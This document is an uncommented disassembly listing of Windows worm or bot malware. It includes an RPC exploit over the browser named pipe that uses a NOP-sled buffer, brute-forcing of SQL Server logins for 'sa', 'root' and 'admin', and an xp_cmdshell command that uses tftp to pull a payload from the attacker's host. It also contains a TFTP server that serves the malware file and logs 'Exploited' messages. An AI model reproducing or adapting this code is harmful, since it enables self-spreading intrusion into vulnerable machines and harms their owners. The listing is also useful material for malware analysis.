lea eax, [ebp+var_11B]
push esi ; int
push eax ; void *
mov [ebp+Dest], 0
call _memset
add esp, 30h
cmp [ebp+arg_4], 0
jz short loc_41A6F1
call sub_419347
test al, al
jnz short loc_41A6D9
push dword_4269BC
lea esi, [ebp+var_1C]
call sub_418FC6
lea esi, [ebp+var_21C]
mov ebx, offset byte_425061
mov [esp+518h+var_518], 100h
call sub_4196D1
mov eax, esi
push eax
push dword_426594
lea eax, [ebp+var_1C]
push eax
push offset aHttpSDS_0 ; "http://%s:%d/%s"
lea eax, [ebp+Dest]
push edi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+Dest]
add esp, 1Ch
lea edx, [eax+1]
loc_41A6D0: ; CODE XREF: sub_41A5C1+114j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_41A6D0
jmp short loc_41A748
; ---------------------------------------------------------------------------
loc_41A6D9: ; CODE XREF: sub_41A5C1+BDj
push 100h
lea esi, [ebp+Dest]
mov ebx, 425580h
call sub_4196D1
pop ecx
jmp short loc_41A752
; ---------------------------------------------------------------------------
loc_41A6F1: ; CODE XREF: sub_41A5C1+B4j
push dword_4269BC
lea esi, [ebp+var_1C]
call sub_418FC6
lea esi, [ebp+var_21C]
mov ebx, offset byte_425061
mov [esp+518h+var_518], 100h
call sub_4196D1
mov eax, esi
push eax
push dword_426594
lea eax, [ebp+var_1C]
push eax
push offset aHttpSDS_1 ; "http://%s:%d/%s"
lea eax, [ebp+Dest]
push edi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+Dest]
add esp, 1Ch
lea edx, [eax+1]
loc_41A741: ; CODE XREF: sub_41A5C1+185j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_41A741
loc_41A748: ; CODE XREF: sub_41A5C1+116j
sub eax, edx
mov [ebp+eax+Dest], 0
loc_41A752: ; CODE XREF: sub_41A5C1+12Ej
lea eax, [ebp+Dest]
push eax ; int
lea eax, [ebp+var_504]
push eax ; void *
call sub_41432A
mov esi, eax
test esi, esi
pop ecx
pop ecx
jnz short loc_41A774
loc_41A76D: ; CODE XREF: sub_41A5C1+1EBj
xor eax, eax
jmp loc_41A8C6
; ---------------------------------------------------------------------------
loc_41A774: ; CODE XREF: sub_41A5C1+1AAj
lea eax, [ebp+var_C]
push eax
push esi
lea eax, [ebp+var_504]
push eax
push 2
lea ebx, [ebp+var_390]
call sub_41411F
add esp, 10h
test eax, eax
jnz short loc_41A7AE
lea eax, [ebp+var_C]
push eax
push esi
lea eax, [ebp+var_504]
push eax
push 2
call sub_41411F
add esp, 10h
test eax, eax
jz short loc_41A76D
loc_41A7AE: ; CODE XREF: sub_41A5C1+1D1j
mov ebx, [ebp+var_508]
push 9
pop ecx
xor eax, eax
mov edi, ebx
stosd
push 0FFh ; size_t
lea eax, [ebx+24h]
push 61h ; int
mov esi, offset dword_4245DC
mov edi, ebx
push eax ; void *
rep movsd
call _memset
mov esi, 101h
push esi ; size_t
lea eax, [ebx+123h]
push 62h ; int
push eax ; void *
call _memset
mov eax, 1010101h
lea edi, [ebx+224h]
push esi ; size_t
stosw
lea eax, [ebx+226h]
push 22h ; int
push eax ; void *
call _memset
mov eax, 1010101h
lea edi, [ebx+327h]
stosw
lea edi, [ebx+42Ah]
add esp, 24h
and [ebp+var_8], 0
mov [ebp+var_508], edi
jmp short loc_41A82D
; ---------------------------------------------------------------------------
loc_41A827: ; CODE XREF: sub_41A5C1+29Bj
mov edi, [ebp+var_508]
loc_41A82D: ; CODE XREF: sub_41A5C1+264j
mov eax, [ebp+var_8]
add eax, 64h
push esi ; size_t
push eax ; int
lea eax, [edi-101h]
push eax ; void *
call _memset
add [ebp+var_508], 103h
add esp, 0Ch
inc [ebp+var_8]
cmp [ebp+var_8], 8
mov eax, 1010101h
stosw
jl short loc_41A827
push 9
pop ecx
mov eax, 6C6C6C6Ch
lea edi, [ebx+0B41h]
rep stosd
stosb
lea edi, [ebx+0B66h]
mov esi, offset dword_424604
movsd
movsd
lea eax, [ebp+var_390]
movsw
mov esi, ds:dword_41D0A4
push eax
call esi ; lstrlen
push eax
lea eax, [ebp+var_390]
push eax
lea eax, [ebx+0B70h]
push eax
call unknown_libname_61 ; Microsoft VisualC 2-8/net runtime
add esp, 0Ch
push 54Ah
push 6Dh ; size_t
lea eax, [ebp+var_390]
push eax ; int
call esi ; lstrlen
lea eax, [eax+ebx+0B70h]
push eax ; void *
call _memset
add esp, 0Ch
mov eax, ebx
loc_41A8C6: ; CODE XREF: sub_41A5C1+1AEj
mov ecx, [ebp+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_402710
leave
retn
sub_41A5C1 endp
; ---------------------------------------------------------------------------
push ebp
lea ebp, [esp-12BCh]
mov eax, 133Ch
call __alloca_probe
mov eax, dword_423064
xor eax, ebp
mov [ebp+12B8h], eax
push esi
push edi
push 44h
pop ecx
lea esi, [ebp+12C4h]
lea edi, [ebp-80h]
rep movsd
mov esi, 1211h
push esi
lea eax, [ebp+0A5h]
push 0
push eax
mov byte ptr [ebp+0A4h], 0
call _memset
mov eax, [ebp+84h]
add esp, 0Ch
push dword ptr [ebp+88h]
mov word ptr [ebp+94h], 2
mov [ebp+98h], eax
call ds:dword_41D278 ; htons
push 6
push 1
push 2
mov [ebp+96h], ax
call ds:dword_41D27C ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_41A961
loc_41A95D: ; CODE XREF: .text:0041A97Dj
xor al, al
jmp short loc_41A9C7
; ---------------------------------------------------------------------------
loc_41A961: ; CODE XREF: .text:0041A95Bj
push 10h
lea eax, [ebp+94h]
push eax
push edi
call ds:dword_41D240 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_41A97F
loc_41A976: ; CODE XREF: .text:0041A995j
push edi
loc_41A977: ; CODE XREF: .text:0041A9ACj
call ds:dword_41D224 ; closesocket
jmp short loc_41A95D
; ---------------------------------------------------------------------------
loc_41A97F: ; CODE XREF: .text:0041A974j
push dword ptr [ebp+8Dh]
lea eax, [ebp+0A4h]
push eax
call sub_41A5C1
test eax, eax
pop ecx
pop ecx
jz short loc_41A976
push 0
push esi
lea eax, [ebp+0A4h]
push eax
push edi
call ds:dword_41D228 ; send
cmp eax, 0FFFFFFFFh
push edi
jz short loc_41A977
call ds:dword_41D224 ; closesocket
mov eax, [ebp+80h]
imul eax, 2Ch
lea eax, dword_42454C[eax]
inc dword ptr [eax]
mov al, 1
loc_41A9C7: ; CODE XREF: .text:0041A95Fj
mov ecx, [ebp+12B8h]
pop edi
xor ecx, ebp
pop esi
call sub_402710
add ebp, 12BCh
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
mov eax, 641Ch
call __alloca_probe
mov eax, dword_423064
xor eax, esp
mov [esp+6418h], eax
push ebx
push esi
push edi
push 44h
pop ecx
lea esi, [ebp+8]
lea edi, [esp+100h]
rep movsd
mov eax, [esp+204h]
push eax
mov [esp+38h], eax
call ds:dword_41D260 ; inet_ntoa
xor ebx, ebx
mov [esp+20h], eax
mov [esp+18h], ebx
loc_41AA2A: ; CODE XREF: .text:0041B100j
cmp dword ptr [esp+18h], 2
ja loc_41B10F
push offset a_ ; "."
push dword ptr [esp+24h]
call __stricmp
test eax, eax
pop ecx
pop ecx
jz short loc_41AA9D
push dword ptr [esp+20h]
lea eax, [esp+424h]
push offset aSIpc ; "\\\\%s\\ipc$"
push 2000h
push eax
call __snprintf
add esp, 10h
push 8
pop ecx
xor eax, eax
push ebx
lea edi, [esp+6Ch]
rep stosd
lea eax, [esp+424h]
push offset byte_41EEEE
mov [esp+84h], eax
push offset byte_41EEEF
lea eax, [esp+74h]
push eax
call sub_402642
test eax, eax
jnz loc_41B10F
loc_41AA9D: ; CODE XREF: .text:0041AA47j
push dword ptr [esp+20h]
lea eax, [esp+2424h]
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
push 2000h
push eax
call __snprintf
add esp, 10h
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
lea eax, [esp+2438h]
push eax
call ds:dword_41D06C ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [esp+10h], eax
jz loc_41B10F
push 48h
lea eax, [esp+0BCh]
push ebx
push eax
call _memset
mov byte ptr [esp+0C4h], 5
mov [esp+0C5h], bl
mov byte ptr [esp+0C6h], 0Bh
mov byte ptr [esp+0C7h], 3
mov dword ptr [esp+0C8h], 10h
mov word ptr [esp+0CCh], 48h
mov [esp+0CEh], bx
mov [esp+0D0h], ebx
mov word ptr [esp+0D4h], 10B8h
mov word ptr [esp+0D6h], 10B8h
mov [esp+0D8h], ebx
mov dword ptr [esp+0DCh], 1
mov [esp+0E0h], bx
mov byte ptr [esp+0E2h], 1
mov esi, offset dword_41F02C
lea edi, [esp+0E4h]
movsd
movsd
movsd
movsd
mov dword ptr [esp+0F4h], 3
mov esi, offset dword_41F040
lea edi, [esp+0F8h]
movsd
movsd
add esp, 0Ch
movsd
push 2
movsd
pop esi
push ebx
lea eax, [esp+68h]
push eax
push 48h
lea eax, [esp+0C4h]
push eax
push dword ptr [esp+20h]
mov [esp+110h], esi
call ds:dword_41D088 ; WriteFile
test eax, eax
jz loc_41B105
push ebx
lea eax, [esp+34h]
push eax
push 2000h
lea eax, [esp+442Ch]
push eax
push dword ptr [esp+20h]
call ds:dword_41D078 ; ReadFile
call ds:dword_41D108 ; GetTickCount
push eax
call _srand
mov edx, 41414141h
mov eax, edx
lea edi, [esp+0A8h]
stosd
stosd
stosd
stosd
pop ecx
stosd
push 7
pop ecx
mov eax, edx
lea edi, [esp+88h]
rep stosd
call _rand
mov [esp+0A4h], eax
xor eax, eax
inc eax
cmp [esp+18h], eax
mov [esp+0B0h], eax
mov [esp+0ACh], ebx
mov [esp+0A8h], eax
mov [esp+0B4h], bx
jnz short loc_41AC5D
mov [esp+94h], eax
mov [esp+8Ch], eax
mov [esp+98h], ebx
jmp short loc_41AC7C
; ---------------------------------------------------------------------------
loc_41AC5D: ; CODE XREF: .text:0041AC44j
cmp [esp+18h], ebx
jnz short loc_41AC83
mov [esp+94h], esi
mov [esp+8Ch], esi
mov dword ptr [esp+98h], 2EBh
loc_41AC7C: ; CODE XREF: .text:0041AC5Bj
mov [esp+90h], ebx
loc_41AC83: ; CODE XREF: .text:0041AC61j
call _rand
cdq
mov esi, 0FAh
mov ecx, esi
idiv ecx
inc edx
mov [esp+88h], edx
call _rand
cdq
idiv esi
mov eax, [esp+18h]
shl eax, 4
mov edi, dword_424628[eax]
push edi
mov [esp+0A4h], ebx
mov [esp+30h], eax
mov [esp+2Ch], edi
inc edx
mov [esp+0A0h], edx
call _malloc
mov esi, eax
cmp esi, ebx
pop ecx
mov [esp+14h], esi
jz loc_41B105
lea eax, [edi-2]
push eax
push 90h
push esi
call _memset
lea edi, [esi+edi-2]
xor eax, eax
stosw
mov eax, [esp+38h]
mov eax, dword_424630[eax]
lea edi, [eax+esi]
mov esi, offset dword_42461C
movsd
movsw
add eax, 7
movsb
mov [esp+30h], eax
xor eax, eax
mov [esp+21Ch], bl
lea edi, [esp+21Dh]
stosd
stosd
stosd
stosw
stosb
add esp, 0Ch
mov edi, 0FFh
push edi
lea eax, [esp+325h]
push ebx
push eax
mov [esp+32Ch], bl
call _memset
add esp, 0Ch
push edi
lea eax, [esp+225h]
push ebx
push eax
mov [esp+22Ch], bl
call _memset
add esp, 0Ch
cmp [esp+20Dh], bl
jz loc_41ADF3
call sub_419347
test al, al
jnz short loc_41ADDA
push dword_4269BC
lea esi, [esp+214h]
call sub_418FC6
lea esi, [esp+324h]
mov ebx, offset byte_425061
mov dword ptr [esp], 100h
call sub_4196D1
pop ecx
mov eax, esi
push eax
push dword_426594
lea eax, [esp+218h]
push eax
push offset aHttpSDS_2 ; "http://%s:%d/%s"
lea eax, [esp+230h]
push edi
push eax
call __snprintf
lea eax, [esp+238h]
add esp, 18h
lea ecx, [eax+1]
loc_41ADD1: ; CODE XREF: .text:0041ADD6j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_41ADD1
jmp short loc_41AE56
; ---------------------------------------------------------------------------
loc_41ADDA: ; CODE XREF: .text:0041AD73j
push 100h
lea esi, [esp+224h]
mov ebx, 425580h
call sub_4196D1
pop ecx
jmp short loc_41AE60
; ---------------------------------------------------------------------------
loc_41ADF3: ; CODE XREF: .text:0041AD66j
push dword_4269BC
lea esi, [esp+214h]
call sub_418FC6
lea esi, [esp+324h]
mov ebx, offset byte_425061
mov dword ptr [esp], 100h
call sub_4196D1
pop ecx
mov eax, esi
push eax
push dword_426594
lea eax, [esp+218h]
push eax
push offset aHttpSDS_3 ; "http://%s:%d/%s"
lea eax, [esp+230h]
push edi
push eax
call __snprintf
lea eax, [esp+238h]
add esp, 18h
lea ecx, [eax+1]
loc_41AE4F: ; CODE XREF: .text:0041AE54j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_41AE4F
loc_41AE56: ; CODE XREF: .text:0041ADD8j
sub eax, ecx
mov byte ptr [esp+eax+220h], 0
loc_41AE60: ; CODE XREF: .text:0041ADF1j
lea eax, [esp+220h]
push eax
mov esi, offset dword_433950
push esi
call sub_41432A
test eax, eax
pop ecx
pop ecx
mov [esp+1Ch], eax
jz loc_41B126
mov edi, offset dword_424614
push edi
push eax
push esi
push 1
mov ebx, offset dword_433AC8
call sub_41411F
add esp, 10h
test eax, eax
jnz short loc_41AEB4
push edi
push dword ptr [esp+20h]
push esi
push 2
call sub_41411F
add esp, 10h
test eax, eax
jz loc_41B126
loc_41AEB4: ; CODE XREF: .text:0041AE9Aj
mov esi, [esp+14h]
dec eax
push eax
mov eax, [esp+28h]
add eax, esi
push ebx
push eax
call unknown_libname_61 ; Microsoft VisualC 2-8/net runtime
mov eax, [esp+38h]
mov eax, dword_42462C[eax]
add esp, 0Ch
cmp dword ptr [esp+18h], 1
jnz short loc_41AF07
mov ecx, dword_433C68
mov [eax+esi], ecx
mov ecx, dword_424644
add eax, 0Ch
mov [eax+esi], ecx
mov ecx, dword_424644
lea eax, [eax+esi+24h]
mov [eax], ecx
mov ecx, dword_424644
mov [eax+0Ch], ecx
jmp short loc_41AF21
; ---------------------------------------------------------------------------
loc_41AF07: ; CODE XREF: .text:0041AED9j
cmp dword ptr [esp+18h], 0
jnz short loc_41AF21
push 10h
add eax, esi
pop ecx
loc_41AF13: ; CODE XREF: .text:0041AF1Fj
mov edx, dword_424644
mov [eax], edx
add eax, 4
dec ecx
jnz short loc_41AF13
loc_41AF21: ; CODE XREF: .text:0041AF05j
; .text:0041AF0Cj
mov edi, [esp+28h]
add edi, 42h
push edi
call _malloc
mov ebx, eax
test ebx, ebx
pop ecx
jz loc_41B13C
push edi
push 0
push ebx
call _memset
push 5
pop ecx
lea esi, [esp+0B0h]
mov edi, ebx
rep movsd
mov esi, [esp+34h]
mov eax, esi
test eax, eax
mov [esp+28h], eax
fild dword ptr [esp+28h]
jge short loc_41AF68
fadd ds:flt_420D38
loc_41AF68: ; CODE XREF: .text:0041AF60j
fmul ds:dbl_420D30
add esp, 4
fstp dword ptr [esp+24h]
fld dword ptr [esp+24h]
fstp qword ptr [esp]
call _ceil
fstp dword ptr [esp+24h]
fld dword ptr [esp+24h]
call __ftol2
and dword ptr [ebx+18h], 0
push esi
push dword ptr [esp+20h]
mov [ebx+1Ch], eax
mov [ebx+14h], eax
lea eax, [ebx+20h]
push eax
call unknown_libname_61 ; Microsoft VisualC 2-8/net runtime
add esp, 14h
lea eax, [esi+20h]
jmp short loc_41AFAF
; ---------------------------------------------------------------------------
loc_41AFAE: ; CODE XREF: .text:0041AFB1j
inc eax
loc_41AFAF: ; CODE XREF: .text:0041AFACj
test al, 3
jnz short loc_41AFAE
push 7
lea edi, [ebx+eax]
pop ecx
push dword ptr [esp+14h]
add eax, 1Ch
lea esi, [esp+8Ch]
rep movsd
mov [esp+28h], eax
call _free
pop ecx
push 6
xor eax, eax
pop ecx
lea edi, [esp+38h]
rep stosd
mov [esp+39h], al
mov [esp+3Ah], al
lea edi, [esp+50h]
stosd
xor esi, esi
stosd
stosd
push esi
push esi
stosd
push 1
push esi
mov byte ptr [esp+48h], 5
mov byte ptr [esp+4Bh], 3
mov dword ptr [esp+4Ch], 10h
mov [esp+52h], si
mov [esp+54h], esi
mov [esp+5Ch], si
mov word ptr [esp+5Eh], 1Fh
stosd
call ds:dword_41D09C ; CreateEventA
mov [esp+60h], eax
mov byte ptr [esp+0Fh], 0
mov [esp+14h], esi
loc_41B030: ; CODE XREF: .text:0041B0C2j
cmp dword ptr [esp+14h], 2
jge loc_41B0C8
inc dword ptr [esp+14h]
push 1
push 10B8h
push dword ptr [esp+2Ch]
lea esi, [esp+44h]
push ebx
sub esp, 18h
push 6
pop ecx
mov edi, esp
push dword ptr [esp+38h]
rep movsd
call sub_416D6C
add esp, 2Ch
test al, al
jz short loc_41B0C8
cmp dword ptr [esp+60h], 0
jz short loc_41B0BD
lea eax, [esp+50h]
push eax
lea eax, [esp+34h]
push eax
push 2000h
lea eax, [esp+442Ch]
push eax
push dword ptr [esp+20h]
call ds:dword_41D078 ; ReadFile
test eax, eax
jnz short loc_41B0A2
call ds:dword_41D0F0 ; RtlGetLastWin32Error
cmp eax, 3E5h
jnz short loc_41B0BD
loc_41B0A2: ; CODE XREF: .text:0041B093j
push 3E8h
push dword ptr [esp+64h]
call ds:dword_41D07C ; WaitForSingleObject
cmp eax, 102h
jnz short loc_41B0BD
mov byte ptr [esp+0Fh], 1
loc_41B0BD: ; CODE XREF: .text:0041B06Ej
; .text:0041B0A0j ...
cmp byte ptr [esp+0Fh], 0
jz loc_41B030
loc_41B0C8: ; CODE XREF: .text:0041B035j
; .text:0041B067j
push dword ptr [esp+10h]
mov esi, ds:dword_41D0DC
call esi ; CloseHandle
push ebx
call _free
cmp dword ptr [esp+64h], 0
pop ecx
jz short loc_41B0E8
push dword ptr [esp+60h]
call esi ; CloseHandle
loc_41B0E8: ; CODE XREF: .text:0041B0E0j
cmp byte ptr [esp+0Fh], 0
jnz short loc_41B149
cmp dword ptr [esp+18h], 0
jnz short loc_41B10F
mov dword ptr [esp+18h], 1
xor ebx, ebx
jmp loc_41AA2A
; ---------------------------------------------------------------------------
loc_41B105: ; CODE XREF: .text:0041ABC3j
; .text:0041ACD5j
push dword ptr [esp+10h]
call ds:dword_41D0DC ; CloseHandle
loc_41B10F: ; CODE XREF: .text:0041AA2Fj
; .text:0041AA97j ...
xor al, al
loc_41B111: ; CODE XREF: .text:0041B19Bj
mov ecx, [esp+6424h]
pop edi
pop esi
pop ebx
xor ecx, esp
call sub_402710
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41B126: ; CODE XREF: .text:0041AE7Bj
; .text:0041AEAEj
push dword ptr [esp+10h]
call ds:dword_41D0DC ; CloseHandle
push dword ptr [esp+14h]
loc_41B134: ; CODE XREF: .text:0041B147j
call _free
pop ecx
jmp short loc_41B10F
; ---------------------------------------------------------------------------
loc_41B13C: ; CODE XREF: .text:0041AF33j
push dword ptr [esp+10h]
call ds:dword_41D0DC ; CloseHandle
push esi
jmp short loc_41B134
; ---------------------------------------------------------------------------
loc_41B149: ; CODE XREF: .text:0041B0EDj
push dword ptr [esp+34h]
call ds:dword_41D260 ; inet_ntoa
push eax
mov eax, [esp+204h]
imul eax, 2Ch
add eax, offset dword_424528
push eax
push offset aSExploitedS_ ; "%s: Exploited: %s."
lea eax, [esp+10Ch]
push eax
push dword ptr [esp+21Ch]
push offset dword_4269BC
call sub_417361
mov eax, [esp+218h]
imul eax, 2Ch
lea eax, dword_42454C[eax]
add esp, 18h
inc dword ptr [eax]
mov al, [esp+0Fh]
jmp loc_41B111
; ---------------------------------------------------------------------------
push ebp
lea ebp, [esp-0CD8h]
sub esp, 0D54h
mov eax, dword_423064
xor eax, ebp
mov [ebp+0CD4h], eax
push ebx
push esi
push edi
push 44h
pop ecx
xor ebx, ebx
xor eax, eax
mov [ebp+0CC4h], bl
lea esi, [ebp+0CE0h]
lea edi, [ebp-4Ch]
rep movsd
lea edi, [ebp+0CC5h]
stosd
stosd
stosd
stosw
stosb
mov eax, [ebp+0B8h]
mov [ebp-68h], eax
lea eax, [ebp-5Ch]
push eax
push ebx
push 1
mov [ebp-4Eh], bl
mov dword ptr [ebp-7Ch], offset aSa ; "sa"
mov dword ptr [ebp-78h], offset aRoot ; "root"
mov dword ptr [ebp-74h], offset aAdmin ; "admin"
mov [ebp-70h], ebx
mov [ebp-4Dh], bl
mov [ebp-54h], ebx
mov [ebp-58h], ebx
call sub_402630
test ax, ax
jz short loc_41B23A
loc_41B220: ; CODE XREF: .text:0041B24Ej
xor al, al
loc_41B222: ; CODE XREF: .text:0041B26Fj
mov ecx, [ebp+0CD4h]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_402710
add ebp, 0CD8h
leave
retn
; ---------------------------------------------------------------------------
loc_41B23A: ; CODE XREF: .text:0041B21Ej
push 0FFFFFFFAh
push 3
push 0C8h
push dword ptr [ebp-5Ch]
call sub_402624
test ax, ax
jnz short loc_41B220
lea eax, [ebp-54h]
push eax
push dword ptr [ebp-5Ch]
push 2
call sub_402630
test ax, ax
jz short loc_41B271
loc_41B263: ; CODE XREF: .text:0041B3CBj
push dword ptr [ebp-5Ch]
push 1
call sub_402636
mov al, bl
jmp short loc_41B222
; ---------------------------------------------------------------------------
loc_41B271: ; CODE XREF: .text:0041B261j
mov edi, ds:dword_41D260
lea ecx, [ebp-7Ch]
mov [ebp-64h], ecx
loc_41B27D: ; CODE XREF: .text:0041B370j
cmp dword_424650, ebx
mov [ebp-60h], ebx
jz loc_41B365
mov esi, [ecx]
mov eax, offset dword_424650
loc_41B293: ; CODE XREF: .text:0041B30Bj
lea ecx, [ebp-4Eh]
push ecx
push dword ptr [eax]
push esi
push dword ptr [ebp+0BCh]
push dword ptr [ebp-68h]
call edi ; inet_ntoa
push eax
lea eax, [ebp+8C4h]
push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
push eax
call _sprintf
lea eax, [ebp+8C4h]
add esp, 1Ch
lea ecx, [eax+1]
loc_41B2C3: ; CODE XREF: .text:0041B2C8j
mov dl, [eax]
inc eax
cmp dl, bl
jnz short loc_41B2C3
push ebx
sub eax, ecx
lea ecx, [ebp-6Ch]
push ecx
push 400h
lea ecx, [ebp+0C4h]
push ecx
push eax
lea eax, [ebp+8C4h]
push eax
push ebx
push dword ptr [ebp-54h]
call sub_40262A
movzx eax, ax
cmp ax, bx
jz short loc_41B30F
cmp ax, 1
jz short loc_41B30F
inc dword ptr [ebp-60h]
mov eax, [ebp-60h]
lea eax, ds:424650h[eax*4]
cmp [eax], ebx
jnz short loc_41B293
jmp short loc_41B365
; ---------------------------------------------------------------------------
loc_41B30F: ; CODE XREF: .text:0041B2F4j
; .text:0041B2FAj
lea eax, [ebp-58h]
push eax
push dword ptr [ebp-54h]
push 3
call sub_402630
push dword_4269BC
lea esi, [ebp+0CC4h]
call sub_418FC6
mov eax, esi
push eax
lea eax, [ebp+4C4h]
push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'tftp -i %s GE"...
push eax
call _sprintf
add esp, 10h
push 0FFFFFFFDh
lea eax, [ebp+4C4h]
push eax
push dword ptr [ebp-58h]
call sub_40263C
test ax, ax
jz short loc_41B378
push dword ptr [ebp-58h]
push 3
call sub_402636
loc_41B365: ; CODE XREF: .text:0041B286j
; .text:0041B30Dj
mov ecx, [ebp-64h]
add ecx, 4
cmp [ecx], ebx
mov [ebp-64h], ecx
jnz loc_41B27D
jmp short loc_41B3BE
; ---------------------------------------------------------------------------
loc_41B378: ; CODE XREF: .text:0041B359j
push dword ptr [ebp-68h]
mov byte ptr [ebp-4Dh], 1
call edi ; inet_ntoa
push eax
mov eax, [ebp+0B4h]
imul eax, 2Ch
add eax, offset dword_424528
push eax
push offset aSExploitedS__0 ; "%s: Exploited %s."
lea eax, [ebp-4Ch]
push eax
push dword ptr [ebp+0C0h]
push offset dword_4269BC
call sub_417361
mov eax, [ebp+0B4h]
imul eax, 2Ch
lea eax, dword_42454C[eax]
add esp, 18h
inc dword ptr [eax]
loc_41B3BE: ; CODE XREF: .text:0041B376j
push dword ptr [ebp-54h]
push 2
call sub_402636
mov bl, [ebp-4Dh]
jmp loc_41B263
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B3D0 proc near ; DATA XREF: sub_41B5D2+15Ao
var_23C = dword ptr -23Ch
var_238 = dword ptr -238h
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
File = dword ptr -228h
var_224 = word ptr -224h
var_222 = word ptr -222h
DstBuf = byte ptr -220h
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 240h
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_8], eax
push ebx
push esi
mov esi, [ebp+arg_0]
xor ebx, ebx
cmp esi, ebx
push edi
jnz short loc_41B3F6
loc_41B3EF: ; CODE XREF: sub_41B3D0+42j
; sub_41B3D0+5Dj ...
push ebx
call ds:dword_41D08C ; ExitThread
loc_41B3F6: ; CODE XREF: sub_41B3D0+1Dj
lea edi, [ebp+var_18]
movsd
movsd
push 11h
movsd
push 2
push 2
movsd
call ds:dword_41D27C ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_230], eax
jz short loc_41B3EF
push offset aRb ; "rb"
push offset Filename ; Filename
call _fopen
cmp eax, ebx
pop ecx
pop ecx
mov [ebp+File], eax
jz short loc_41B3EF
push eax ; File
mov [ebp+var_22C], ebx
mov [ebp+var_23C], 10h
call _feof
test eax, eax
pop ecx
jnz loc_41B53E
mov esi, ds:dword_41D278
loc_41B454: ; CODE XREF: sub_41B3D0+168j
push 204h ; size_t
lea eax, [ebp+var_224]
push ebx ; int
push eax ; void *
call _memset
add esp, 0Ch
xor eax, eax
inc [ebp+var_22C]
push [ebp+var_22C]
lea edi, [ebp+var_238]
stosd
call esi ; htons
push 3
mov [ebp+var_222], ax
call esi ; htons
push [ebp+File] ; File
mov [ebp+var_224], ax
push 200h ; Count
lea eax, [ebp+DstBuf]
push 1 ; ElementSize
push eax ; DstBuf
call _fread
mov edi, [ebp+var_230]
add esp, 10h
push 10h
lea ecx, [ebp+var_18]
push ecx
push ebx
add eax, 4
push eax
lea eax, [ebp+var_224]
push eax
push edi
call ds:dword_41D24C ; sendto
cmp eax, 0FFFFFFFFh
jz loc_41B5BA
lea eax, [ebp+var_23C]
push eax
lea eax, [ebp+var_18]
push eax
push ebx
push 4
lea eax, [ebp+var_238]
push eax
push edi
call ds:dword_41D25C ; recvfrom
cmp eax, 0FFFFFFFFh
jz loc_41B5BA
push [ebp+var_238]
call ds:dword_41D254 ; htons
cmp ax, 4
jnz loc_41B5BA
push [ebp+var_238+2]
call ds:dword_41D254 ; htons
cmp ax, word ptr [ebp+var_22C]
jnz loc_41B5BA
push [ebp+File] ; File
call _feof
test eax, eax
pop ecx
jz loc_41B454
loc_41B53E: ; CODE XREF: sub_41B3D0+78j
inc dword_43394C
push 100h ; unsigned int
call j_??2@YAPAXI@Z ; operator new(uint)
mov esi, eax
push esi ; void *
call __msize
push eax
mov ebx, offset dword_424ED0
call sub_4196D1
add esp, 0Ch
push dword_43394C
push [ebp+var_14]
call ds:dword_41D260 ; inet_ntoa
push eax ; Args
push offset aTftpSendComple ; "TFTP: Send Complete To %s. %d Total Sen"...
push esi ; int
push 0 ; char
push offset dword_4269BC ; int
call sub_417361
push esi ; Memory
call j_j__free
add esp, 1Ch
push [ebp+var_230]
call ds:dword_41D224 ; closesocket
push [ebp+File] ; File
call _fclose
pop ecx
mov ecx, [ebp+var_8]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call sub_402710
leave
retn 4
; ---------------------------------------------------------------------------
loc_41B5BA: ; CODE XREF: sub_41B3D0+100j
; sub_41B3D0+125j ...
push edi
call ds:dword_41D224 ; closesocket
push [ebp+File] ; File
call _fclose
pop ecx
jmp loc_41B3EF
sub_41B3D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B5D2 proc near ; DATA XREF: sub_41B775+53o
var_148 = dword ptr -148h
var_144 = dword ptr -144h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_138 = byte ptr -138h
var_134 = dword ptr -134h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
sub esp, 14Ch
mov eax, dword_423064
xor eax, esp
mov [esp+14Ch+var_4], eax
push ebx
push esi
push edi
push 11h
xor esi, esi
push 2
inc esi
push 2
mov [esp+164h+var_140], esi
call ds:dword_41D27C ; socket
cmp eax, 0FFFFFFFFh
mov dword_4269E4, eax
jnz short loc_41B61B
xor ebx, ebx
loc_41B60E: ; CODE XREF: sub_41B5D2+C1j
mov byte_433945, bl
loc_41B614: ; CODE XREF: sub_41B5D2+BFj
push ebx
call ds:dword_41D08C ; ExitThread
loc_41B61B: ; CODE XREF: sub_41B5D2+38j
push 4
lea ecx, [esp+15Ch+var_140]
push ecx
push 4
push 0FFFFh
push eax
call ds:dword_41D250 ; setsockopt
xor eax, eax
lea edi, [esp+158h+var_14]
stosd
stosd
stosd
stosd
push 45h
mov [esp+15Ch+var_14], 2
call ds:dword_41D278 ; htons
mov [esp+158h+var_12], ax
push 10h
lea eax, [esp+15Ch+var_14]
push eax
push dword_4269E4
xor ebx, ebx
mov [esp+164h+var_10], ebx
call ds:dword_41D26C ; bind
cmp eax, 0FFFFFFFFh
